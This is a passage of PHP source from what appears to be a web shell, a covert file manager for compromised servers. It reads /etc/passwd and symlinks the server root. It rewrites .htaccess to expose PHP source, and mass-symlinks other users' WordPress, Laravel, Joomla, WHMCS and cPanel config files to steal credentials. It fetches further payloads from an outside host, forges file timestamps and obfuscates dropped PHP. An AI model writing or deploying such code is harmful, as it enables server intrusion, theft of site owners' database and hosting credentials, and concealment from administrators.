                    <textarea id="b64decode" name="b64decode" rows="12" class="block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required><?php echo (isset($_POST["b64decode"])) ? htmlspecialchars($_POST["b64decode"]) : ""; ?></textarea>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="decode">
                        Decode
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["decode"])) {
                $b64decode = $_POST["b64decode"];
                if (empty($b64decode)) {
                    echo "<font color='red'>Input is empty</font>";
                } else {
                    $decoded = base64_decode($b64decode);
                    if ($decoded === false) {
                        echo "<font color='red'>Invalid Base64 string</font>";
                    } else {
            ?>
                        <div class='mt-4 mb-3 text-gray-700 dark:text-gray-300'>
                            <strong>Decoded Output:</strong>
                            <textarea id="copyTarget" rows='12' class='block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500' readonly><?= htmlspecialchars($decoded); ?></textarea>
                            <button id="copyBtn" class="block mt-3 mx-auto text-blue-700 hover:text-white border border-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:border-blue-500 dark:text-blue-500 dark:hover:text-white dark:hover:bg-blue-500 dark:focus:ring-blue-800 cursor-pointer" onclick="copyToClipboard()">Copy to Clipboard</button>
                        </div>
            <?php
                    }
                }
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "b64encode") {
            ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <label for="b64dencode" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">Strings To Encode:</label>
                    <textarea id="b64dencode" name="b64dencode" rows="12" class="block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required><?php echo (isset($_POST["b64dencode"])) ? htmlspecialchars($_POST["b64dencode"]) : ""; ?></textarea>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="decode">
                        Encode
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["decode"])) {
                $b64dencode = $_POST["b64dencode"];
                if (empty($b64dencode)) {
                    echo "<font color='red'>Input is empty</font>";
                } else {
                    $decoded = base64_encode($b64dencode);
                    if ($decoded === false) {
                        echo "<font color='red'>Invalid Base64 string</font>";
                    } else {
            ?>
                        <div class='mt-4 mb-3 text-gray-700 dark:text-gray-300'>
                            <strong>Encoded Output:</strong>
                            <textarea id="copyTarget" rows='12' class='block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500' readonly><?= htmlspecialchars($decoded); ?></textarea>
                            <button id="copyBtn" class="block mt-3 mx-auto text-blue-700 hover:text-white border border-blue-700 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:border-blue-500 dark:text-blue-500 dark:hover:text-white dark:hover:bg-blue-500 dark:focus:ring-blue-800 cursor-pointer" onclick="copyToClipboard()">Copy to Clipboard</button>
                        </div>
            <?php
                    }
                }
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "symvhosts") {
            ?>
            <form action="" method="post">
                <div class='mt-4'>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="createsymvhost">
                        Start Symlink Vhosts
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["createsymvhost"])) {
                system('ln -s / naxc_vhosts.txt');
                $b64htacs = 'T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCBzc3Nzc3MuaHRtDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhw';
                $write = error_log(base64_decode($b64htacs), 3, $path . "/.htaccess");
                $naxc_vhosts = symlink("/", "naxc_vhosts.txt");
            ?>
                <div class='mt-4 mb-3 text-center text-gray-700 dark:text-gray-300'>
                    <strong>Symlink Created:</strong>
                    <a href="naxc_vhosts.txt" target="_blank" class="text-blue-600 hover:underline">naxc_vhosts.txt</a>
                </div>
            <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "sym403") {
            ?>
            <form action="" method="post">
                <div class='mt-4'>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="createsym403">
                        Spawn Symlink 403
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["createsym403"])) {
                error_log(requests("https://fcalpha.net/web/photo/20151024/bypass/e-sym403.txt"), 3, $path . "/sym403.php");
                $admloc = $path . "/sym403.php";
                $result = str_replace($_SERVER['DOCUMENT_ROOT'], $web . "", $admloc);

flash("success", "Symlink 403 Spawned Successfully!", null, $result);
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "grabconfig") {
            ini_set('max_execution_time', 0);
            @ini_set('display_errors', 0);
            @ini_set('file_uploads', 1);
            ?>
            <form class="mt-4" method="post" action="">
                <label for="passwd" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">List of users:</label>
                <textarea name="passwd" rows="15" class="block p-2.5 w-full mb-3 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" placeholder="one user per line" required><?php $uSr = file("/etc/passwd");
                                                                                                                                                                                                                                                                                                                                                                                                    foreach ($uSr as $usrr) {
                                                                                                                                                                                                                                                                                                                                                                                                        $str = explode(":", $usrr);
                                                                                                                                                                                                                                                                                                                                                                                                        echo $str[0] . "\n";
                                                                                                                                                                                                                                                                                                                                                                                                    } ?></textarea>
                <input type="hidden" class="input" name="folfig" value="naxc_config" />
                <label for="grabtype" class="block mb-2 text-sm font-medium text-gray-900 dark:text-white">Select type</label>
                <select id="grabtype" name="grabtype" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
                    <option title="type txt" value=".txt" selected>.txt</option>
                    <option title="type php" value=".php">.php</option>
                    <option title="type shtml" value=".shtml">.shtml</option>
                    <option title="type ini" value=".ini">.ini</option>
                    <option title="type html" value=".html">.html</option>
                </select>
                <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="conf">
                    Execute
                </button>
            </form>
        <?php
        }
        if (isset($_POST['conf'])) {
            $v = "var";
            $folfig = $_POST['folfig'];
            $type = $_POST['grabtype'];
            @mkdir($folfig, 0755);
            @chdir($folfig);
            $confhtacs = "T3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzDQpEaXJlY3RvcnlJbmRleCAubXkuY25mDQpBZGRUeXBlIHR4dCAucGhwDQpBZGRUeXBlIHR4dCAubXkuY25mDQpBZGRUeXBlIHR4dCAuYWNjZXNzaGFzaA0KQWRkSGFuZGxlciB0eHQgLnBocA0KQWRkSGFuZGxlciB0eHQgLmNuZg0KQWRkSGFuZGxlciB0eHQgLmFjY2Vzc2hhc2g=";
            error_log(base64_decode($confhtacs), 3, $path . "/" . $folfig . "/.htaccess");
            $passwd = explode("\n", $_POST["passwd"]);
            foreach ($passwd as $pwd) {
                $user = trim($pwd);
                symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vBulletin1.txt');
                symlink('/home/' . $user . '/public_html/forum/includes/config.php', $user . '-vBulletin3.txt');
                symlink('/home/' . $user . '/public_html/cc/includes/config.php', $user . '-vBulletin4.txt');
                symlink('/home/' . $user . '/public_html/config.php', $user . '-Phpbb1.txt');
                symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-Wp1.txt');
                symlink('/home/' . $user . '/htdocs/wp-config.php', $user . '-Wp-htdocs.txt');
                symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-Wp2.txt');
                symlink('/home/' . $user . '/public_html/web/wp-config.php', $user . '-Wp3.txt');
                symlink('/home1/' . $user . '/public_html/wp-config.php', $user . '-WpHm1.txt');
                symlink('/home2/' . $user . '/public_html/wp-config.php', $user . '-WpHm2.txt');
                symlink('/home3/' . $user . '/public_html/wp-config.php', $user . '-WpHm3.txt');
                symlink('/var/www/html/wp-config.php', $v . '-wp1.txt');
                symlink('/home/' . $user . '/public_html/.env', $user . '-Laravel1.txt');
                symlink('/home/' . $user . '/public_html/web/.env', $user . '-Laravel2.txt');
                symlink('/home/' . $user . '/public_html/public/.env', $user . '-Laravel3.txt');
                symlink('/var/www/html/.env', $v . '-LaravelV.txt');
                symlink('/home/' . $user . '/public_html/configuration.php', $user . '-Joomla1.txt');
                symlink('/home/' . $user . '/public_html/html/configuration.php', $user . '-Joomla2.txt');
                symlink('/home/' . $user . '/public_html/web/configuration.php', $user . '-Joomla3.txt');
                symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-Whm1.txt');
                symlink('/home/' . $user . '/public_html/whmc/configuration.php', $user . '-Whm2.txt');
                symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-Whm3.txt');
                symlink('/home/' . $user . '/public_html/client/configuration.php', $user . '-Whm4.txt');
                symlink('/home/' . $user . '/public_html/billings/configuration.php', $user . '-Whm5.txt');
                symlink('/home/' . $user . '/public_html/billing/configuration.php', $user . '-Whm6.txt');
                symlink('/home/' . $user . '/public_html/clients/configuration.php', $user . '-Whm7.txt');
                symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-Whm8.txt');
                symlink('/home/' . $user . '/public_html/order/configuration.php', $user . '-Whm9.txt');
                symlink('/home/' . $user . '/public_html/app/etc/local.xml', $user . '-Magento.txt');
                symlink('/home/' . $user . '/public_html/configuration.php', $user . '-Joomla.txt');
                symlink('/home/' . $user . '/public_html/application/config/database.php', $user . '-CodeIgniter.txt');
                symlink('/home/' . $user . '/public_html/web/application/config/database.php', $user . '-CodeIgniterH.txt');
                symlink('/home1/' . $user . '/public_html/application/config/database.php', $user . '-CodeIgniter1.txt');
                symlink('/home2/' . $user . '/public_html/application/config/database.php', $user . '-CodeIgniter2.txt');
                symlink('/home3/' . $user . '/public_html/application/config/database.php', $user . '-CodeIgniter3.txt');
                symlink('/home/' . $user . '/.my.cnf', $user . '-cpanel.txt');
                symlink('/home/' . $user . '/.accesshash', $user . '-whm.txt');
                symlink('/home/' . $user . '/public_html/admin/config.php', $user . '-opencart.txt');
                symlink('/home/' . $user . '/public_html/app/etc/local.xml', $user . '-mangento.txt');
            }
        ?>
            <div class='mt-4 mb-3 text-center text-gray-700 dark:text-gray-300'>
                <strong>Check Here:</strong>
                <a href="<?= $folfig; ?>" target="_blank" class="text-blue-600 hover:underline"><?= $folfig; ?></a>
            </div>
        <?php
        }

if (isset($_GET["action"]) && $_GET["action"] === "changedate") {
            $itemPath = $path . "/" . $_GET["item"];
        ?>
            <form method="post" action="">
                <div class='mt-4'>
                    <label for="new_date" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">Edit Date</label>
                    <input type="text" id="new_date" name="new_date" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= filedate($itemPath); ?>" required>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="changedate">
                        Change Date
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["changedate"])) {
                $new_date = $_POST["new_date"];
                if (chdate($itemPath, $new_date)) {
                    flash("success", "Date changed successfully!");
                } else {
                    flash("error", "Failed to change date!");
                }
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "adminer") {
            ?>
            <form action="" method="post">
                <div class='mt-4'>
                    <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="createadminer">
                        Spawn Adminer
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["createadminer"])) {
                error_log(requests("https://fcalpha.net/web/photo/20151024/bypass/e-adm.txt"), 3, $path . "/adm.php");
                $admloc = $path . "/adm.php";
                $result = str_replace($_SERVER['DOCUMENT_ROOT'], $web . "", $admloc);

flash("success", "Adminer Spawned Successfully!", $result);
            }
        }
        /* END TOOLS */

/* FILE ACTIONS */
        if (isset($_GET["path"]) && @$_GET["action"] === "newfile") {
            ?>
            <form id="handle_file" method="post" action="">
                <div class='mt-4'>
                    <div class="mb-4">
                        <label for="file_name" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">New File Name:</label>
                        <input type="text" id="file_name" name="file_name" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required>
                    </div>

<div class="mb-4">
                        <label for="new_file_content" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">File Content:</label>
                        <textarea id="new_file_content" name="new_file_content" rows="12" class="block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500"></textarea>
                    </div>

<p class="mb-3 font-bold">
                        Bypass Options
                    </p>

<div class="flex flex-col lg:flex-row lg:items-center gap-x-4">
                        <div class="mb-4 w-full lg:w-1/2">
                            <label for="new_file_method" class="block mb-2.5 text-sm font-medium text-gray-900 dark:text-white">Select edit method</label>
                            <select id="new_file_method" name="new_file_method" onchange="showInfo()" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
                                <option value="basic">Using basic write file</option>
                                <option value="cmd">Using command</option>
                            </select>

<div class="hidden" id="infoMethod">
                                <div class="flex items-center p-4 mb-4 text-sm text-blue-800 rounded-lg bg-blue-50 dark:bg-gray-800 dark:text-blue-400" role="alert">
                                    <svg class="shrink-0 inline w-4 h-4 me-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 20 20">
                                        <path d="M10 .5a9.5 9.5 0 1 0 9.5 9.5A9.51 9.51 0 0 0 10 .5ZM9.5 4a1.5 1.5 0 1 1 0 3 1.5 1.5 0 0 1 0-3ZM12 15H8a1 1 0 0 1 0-2h1v-3H8a1 1 0 0 1 0-2h2a1 1 0 0 1 1 1v4h1a1 1 0 0 1 0 2Z" />
                                    </svg>
                                    <span class="sr-only">Info</span>
                                    <div>
                                        <span class="font-medium">Info!</span> If the strings too long, it will be failed to edit file (command method only).
                                    </div>
                                </div>
                            </div>
                        </div>

<div class="mb-4 w-full lg:w-1/2">
                            <p class="block mb-2.5 text-sm font-medium text-gray-900 dark:text-white">Obfuscate PHP:</p>
                            <div class="flex gap-x-4">
                                <div class="flex w-1/2 items-center ps-4 cursor-pointer dark:bg-gray-700 rounded-lg">
                                    <input checked id="no-obfuscate" type="radio" value="no-obfuscate" name="obfuscate" class="w-4 h-4 text-neutral-primary border-default-medium bg-neutral-secondary-medium rounded-full checked:border-brand focus:ring-2 focus:outline-none focus:ring-brand-subtle border border-2 appearance-none checked:border-blue-600 checked:border-4 checked:bg-white">
                                    <label for="no-obfuscate" class="w-full py-3 select-none ms-2 text-sm  font-medium text-heading">No Obfuscate</label>
                                </div>
                                <div class="flex w-1/2 items-center ps-4 cursor-pointer dark:bg-gray-700 rounded-lg">
                                    <input id="yes-obfuscate" type="radio" value="yes-obfuscate" name="obfuscate" class="w-4 h-4 text-neutral-primary border-default-medium bg-neutral-secondary-medium rounded-full checked:border-brand focus:ring-2 focus:outline-none focus:ring-brand-subtle border border-2 appearance-none checked:border-blue-600 checked:border-4 checked:bg-white">
                                    <label for="yes-obfuscate" class="w-full py-3 select-none ms-2 text-sm  font-medium text-heading">Obfuscate</label>
                                </div>
                            </div>
                        </div>
                    </div>

<button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="newfile">
                        Create file
                    </button>
                </div>
            </form>
            <?php
            if (isset($_POST["newfile"])) {
                $filename = $_POST["file_name"];
                $content = $_POST["new_file_content"];
                $method  = $_POST["new_file_method"];

if (isset($_POST["obfuscate"]) && $_POST["obfuscate"] === "yes-obfuscate") {
                    $content = "<?php " . php_obfuscator(base64_decode($content)) . " ?>";
                } else {
                    $content = base64_decode($content);
                }

if (file_editor($path, $filename, $content, $method)) {
                    flash("success", "File created successfully!", $path . $toPage, "?path=$path&file=" . str_replace(".temporary", "", $filename) . "&action=edit&search=$search");
                    exit;
                } else {
                    flash("error", "Failed to create file!");
                }
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "view" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath)) {
                // Capture file output
                ob_start();
                readfile($filePath);
                $fileContent = ob_get_clean();
            ?>
                <div class="mt-4 text-gray-700 dark:text-gray-300">
                    <h2 class="text-lg font-semibold">
                        File Content: <code><?= htmlspecialchars($_GET["file"]); ?></code>
                    </h2>
                    <?php
                    $fileExt = pathinfo($filePath, PATHINFO_EXTENSION);
                    $imageExtensions = ["jpg", "jpeg", "png", "gif", "bmp", "webp", "svg", "ico"];
                    if (in_array(strtolower($fileExt), $imageExtensions)) {
                        $mimeType = mime_content_type($filePath);
                        $base64   = base64_encode(file_get_contents($filePath));
                    ?>
                        <div class="flex items-center content-center p-5 w-full h-auto max-h-[300px] text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white focus:outline-none">
                            <img src="data:<?= $mimeType; ?>;base64,<?= $base64; ?>" alt="Image" class="w-full max-w-[350px] h-auto max-h-[270px] rounded-lg shadow-md mx-auto">
                        </div>
                    <?php
                    } else {
                    ?>
                        <textarea rows="12" class="block p-2.5 w-full text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white focus:outline-none" readonly><?= htmlspecialchars($fileContent); ?></textarea>
                    <?php
                    }
                    ?>
                </div>
                <div class="flex gap-x-2 mt-2">
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $path; ?>&file=<?= $file; ?>&action=edit<?= $toPage ?>">Edit</a>
                    <button onclick="postDownload('<?= addslashes($filePath) ?>')">
                        <span class="hover:text-gray-600 dark:hover:text-gray-500">Download</span>
                    </button>
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $path; ?>&file=<?= $file; ?>&action=unzip<?= $toPage ?>">Unzip</a>
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $path; ?>&file=<?= $file; ?>&action=chmodfile<?= $toPage ?>">Chmod</a>
                    <a class="hover:text-gray-600 dark:hover:text-gray-500" href="?path=<?= $path; ?>&file=<?= $file; ?>&action=deletefile<?= $toPage ?>">Delete</a>

</div>
            <?php
            } else {
            ?>
                <div class='mt-4 text-red-600 font-medium font-medium'>File does not exist or is not readable.</div>
            <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "edit" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath) && is_writable($filePath)) {
                ob_start();
                readfile($filePath);
                $fileContent = ob_get_clean();
            ?>
                <form id="handle_file" method="post" action="">
                    <div class='mt-4'>
                        <div class="mb-4">
                            <label for="file_name" class="block mb-2.5 text-sm font-medium text-gray-900 font-medium dark:text-white">File Name:</label>
                            <input type="text" id="file_name" name="file_name" value="<?= $file; ?>" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" required>
                        </div>

<p class="mb-3 font-bold">
                            Bypass Options
                        </p>
                        <div class="flex flex-col lg:flex-row lg:items-center gap-x-4">
                            <div class="mb-4 w-full lg:w-1/2">
                                <label for="edit_file_method" class="block mb-2.5 text-sm font-medium text-gray-900 dark:text-white">Select edit method</label>
                                <select id="edit_file_method" name="edit_file_method" onchange="showInfo()" class="bg-gray-50 border border-gray-300 text-gray-900 text-sm rounded-lg focus:ring-blue-500 focus:border-blue-500 block w-full p-2.5 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500">
                                    <option value="basic">Using basic write file</option>
                                    <option value="cmd">Using command</option>
                                </select>

<div class="hidden" id="infoMethod">
                                    <div class="flex items-center p-4 mb-4 text-sm text-blue-800 rounded-lg bg-blue-50 dark:bg-gray-800 dark:text-blue-400" role="alert">
                                        <svg class="shrink-0 inline w-4 h-4 me-3" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" fill="currentColor" viewBox="0 0 20 20">
                                            <path d="M10 .5a9.5 9.5 0 1 0 9.5 9.5A9.51 9.51 0 0 0 10 .5ZM9.5 4a1.5 1.5 0 1 1 0 3 1.5 1.5 0 0 1 0-3ZM12 15H8a1 1 0 0 1 0-2h1v-3H8a1 1 0 0 1 0-2h2a1 1 0 0 1 1 1v4h1a1 1 0 0 1 0 2Z" />
                                        </svg>
                                        <span class="sr-only">Info</span>
                                        <div>
                                            <span class="font-medium">Info!</span> If the strings too long, it will be failed to edit file (command method only).
                                        </div>
                                    </div>
                                </div>
                            </div>

<div class="mb-4 w-full lg:w-1/2">
                                <p class="block mb-2.5 text-sm font-medium text-gray-900 dark:text-white">Obfuscate PHP:</p>
                                <div class="flex gap-x-4">
                                    <div class="flex w-1/2 items-center ps-4 cursor-pointer dark:bg-gray-700 rounded-lg">
                                        <input checked id="no-obfuscate" type="radio" value="no-obfuscate" name="obfuscate" class="w-4 h-4 text-neutral-primary border-default-medium bg-neutral-secondary-medium rounded-full checked:border-brand focus:ring-2 focus:outline-none focus:ring-brand-subtle border border-2 appearance-none checked:border-blue-600 checked:border-4 checked:bg-white">
                                        <label for="no-obfuscate" class="w-full py-3 select-none ms-2 text-sm  font-medium text-heading">No Obfuscate</label>
                                    </div>
                                    <div class="flex w-1/2 items-center ps-4 cursor-pointer dark:bg-gray-700 rounded-lg">
                                        <input id="yes-obfuscate" type="radio" value="yes-obfuscate" name="obfuscate" class="w-4 h-4 text-neutral-primary border-default-medium bg-neutral-secondary-medium rounded-full checked:border-brand focus:ring-2 focus:outline-none focus:ring-brand-subtle border border-2 appearance-none checked:border-blue-600 checked:border-4 checked:bg-white">
                                        <label for="yes-obfuscate" class="w-full py-3 select-none ms-2 text-sm  font-medium text-heading">Obfuscate</label>
                                    </div>
                                </div>
                            </div>
                        </div>

<button class="block w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="editfile">
                            Save Changes
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["editfile"])) {
                    $filename = $_POST['file_name'];
                    $content = $_POST["edit_file_content"];
                    $method  = $_POST["edit_file_method"];

if (isset($_POST['obfuscate']) && $_POST['obfuscate'] === 'yes-obfuscate') {
                        $content = "<?php " . php_obfuscator(base64_decode($content)) . " ?>";
                    } else {
                        $content = base64_decode($content);
                    }

if (file_editor($path, $filename, $content, $method)) {
                        if ($filename == $file) {
                            flash("success", "File updated successfully!", $path . "&file=" . str_replace(".temporary", "", $file) . "&action=edit" . $toPage);
                        } else {
                            flash("success", "File updated successfully!", $path . "&file=" . str_replace(".temporary", "", $filename) . "&action=edit" . $toPage);
                        }
                        exit;
                    } else {
                        flash("error", "Failed to update file!");
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>
            <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "chmodfile" && isset($_GET["file"])) {
            $filePath = $path . "/" . $file;
            if (file_exists($filePath) && is_file($filePath)) {
            ?>
                <form method="post" action="">
                    <div class='mt-4'>
                        <h2 class='text-lg font-semibold'>Chmod File: <code><?= htmlspecialchars($file); ?></code></h2>
                        <input type="text" name="new_perms" class="block w-full p-2.5 text-sm text-gray-900 font-medium bg-gray-50 shadow-md rounded-lg border border-gray-300 focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:border-gray-600 dark:placeholder-gray-400 dark:text-white dark:focus:ring-blue-500 dark:focus:border-blue-500" value="<?= substr(sprintf('%o', @fileperms($filePath)), -4); ?>" required>
                        <button class="block mt-3 w-full max-w-sm mx-auto text-white bg-indigo-600 hover:bg-blue-800 focus:ring-4 focus:outline-none focus:ring-blue-300 font-medium rounded-lg text-sm px-5 py-2.5 text-center dark:bg-blue-600 dark:hover:bg-indigo-600 dark:focus:ring-blue-800 cursor-pointer" type="submit" name="chmodfile">
                            Change Permission
                        </button>
                    </div>
                </form>
                <?php
                if (isset($_POST["chmodfile"])) {
                    $newPerms = intval($_POST["new_perms"], 8);

if (chmod($filePath, $newPerms)) {
                        flash("success", "Successfully changed permission!", $path . "&file=" . $file . "&action=chmodfile" . $toPage);
                    } else {
                        flash("error", "Failed to changed permission!");
                    }
                }
            } else {
                ?>
                <div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>
            <?php
            }
        }

if (isset($_GET["action"]) && $_GET["action"] === "deletefile" && isset($_GET["file"])) {
            $filePath = $path . "/" . $file;
            if (file_exists($filePath) && is_file($filePath) && is_writable($filePath)) {
                if (unlink($filePath)) {
                    flash("success", "File deleted successfully!", $path . $toPage);
                } else {
                    flash("error", "Failed to delete file!");
                }
            } else {
                echo "<div class='mt-4 text-red-600 font-medium'>File does not exist or is not writable.</div>";
            }
        }

if (isset($_POST['download'])) {
            $file = base64_decode($_POST['download']);

if (!is_file($file) || !file_exists($file)) {
                flash("error", "File not found!");
            }

// Clean output buffer (IMPORTANT)
            if (ob_get_level()) {
                ob_end_clean();
            }

header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="' . basename($file) . '"');
            header('Content-Length: ' . filesize($file));
            header('Cache-Control: must-revalidate');
            header('Pragma: public');
            header('Expires: 0');

readfile($file);
            exit;
        }

if (isset($_GET["action"]) && $_GET["action"] === "unzip" && isset($_GET["file"])) {
            $filePath = $path . "/" . $_GET["file"];
            if (file_exists($filePath) && is_file($filePath)) {
                $zip = new ZipArchive;
                if ($zip->open($filePath) === TRUE) {
